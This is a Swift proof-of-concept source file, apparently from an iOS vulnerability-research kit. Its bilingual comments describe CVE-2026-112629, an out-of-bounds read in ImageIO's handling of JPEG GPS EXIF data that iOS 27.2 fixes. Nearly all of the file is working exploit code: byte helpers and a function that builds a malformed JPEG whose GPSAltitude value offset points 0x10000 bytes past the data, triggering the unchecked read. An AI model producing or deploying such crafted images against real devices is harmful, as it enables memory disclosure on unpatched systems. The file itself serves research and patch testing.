78 lines
3.5 KiB
Swift
78 lines
3.5 KiB
Swift
// iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629
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// 原语: OOB 读 · 进程内 · tier 2
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// Primitive: OOB read · in-process · tier 2
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//
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// [zh] GPS IFD 值偏移越界
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// GPS-IFD 遍历使用裸指针解引用与一个未检查的 read32。当条目值偏移指向 GPS 块之外时，读取直接越界。27.2 将全部访问重写为 checkCapacity / checkInitializedLength
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// / pointerToOffset / read32Unchecked，违规时抛出 OutOfBounds 异常。
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//
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// [en] GPS IFD value offset out of bounds
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// The GPS-IFD walk uses raw pointer dereferences plus one unchecked read32. When an entry's value
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// offset points outside the GPS block the read goes straight out of bounds. iOS 27.2 rewrites every
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// access through checkCapacity / checkInitializedLength / pointerToOffset / read32Unchecked and throws
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// OutOfBounds on violation.
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// ── 判别 / oracle ──
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// GPSAltitude 的 RATIONAL 偏移指向 +0x10000 处。
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import Foundation
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// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
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enum B {
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static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
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static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
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static func be32(_ v: UInt32) -> [UInt8] {
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[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
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}
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static func le32(_ v: UInt32) -> [UInt8] {
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[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
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}
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static func be64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
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}
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static func le64(_ v: UInt64) -> [UInt8] {
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(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
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}
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static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
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static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
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static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
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}
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// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ──
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enum JPEGPayload {
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static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data {
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var tiff = Data()
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tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A])
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tiff.append(contentsOf: B.be32(8))
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tiff.append(contentsOf: B.be16(1))
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tiff.append(contentsOf: B.be16(0x8825)) // GPSInfoIFDPointer
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tiff.append(contentsOf: B.be16(4)) // LONG
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tiff.append(contentsOf: B.be32(1))
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tiff.append(contentsOf: B.be32(26)) // GPS IFD at 26
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tiff.append(contentsOf: B.be32(0))
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// GPS IFD
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tiff.append(contentsOf: B.be16(2))
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tiff.append(contentsOf: B.be16(0x0000)) // GPSVersionID
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tiff.append(contentsOf: B.be16(1))
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tiff.append(contentsOf: B.be32(4))
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tiff.append(contentsOf: [2, 3, 0, 0])
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tiff.append(contentsOf: B.be16(0x0006)) // GPSAltitude
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tiff.append(contentsOf: B.be16(5)) // RATIONAL
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tiff.append(contentsOf: B.be32(1))
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tiff.append(contentsOf: B.be32(UInt32(26 + 18 + delta))) // far past the blob
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tiff.append(contentsOf: B.be32(0))
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var out = minimalSOI()
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let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff)
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let len = payload.count + 2
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out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)]
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out += payload
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out += [0xFF, 0xD9]
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return Data(out)
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}
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static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] }
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}
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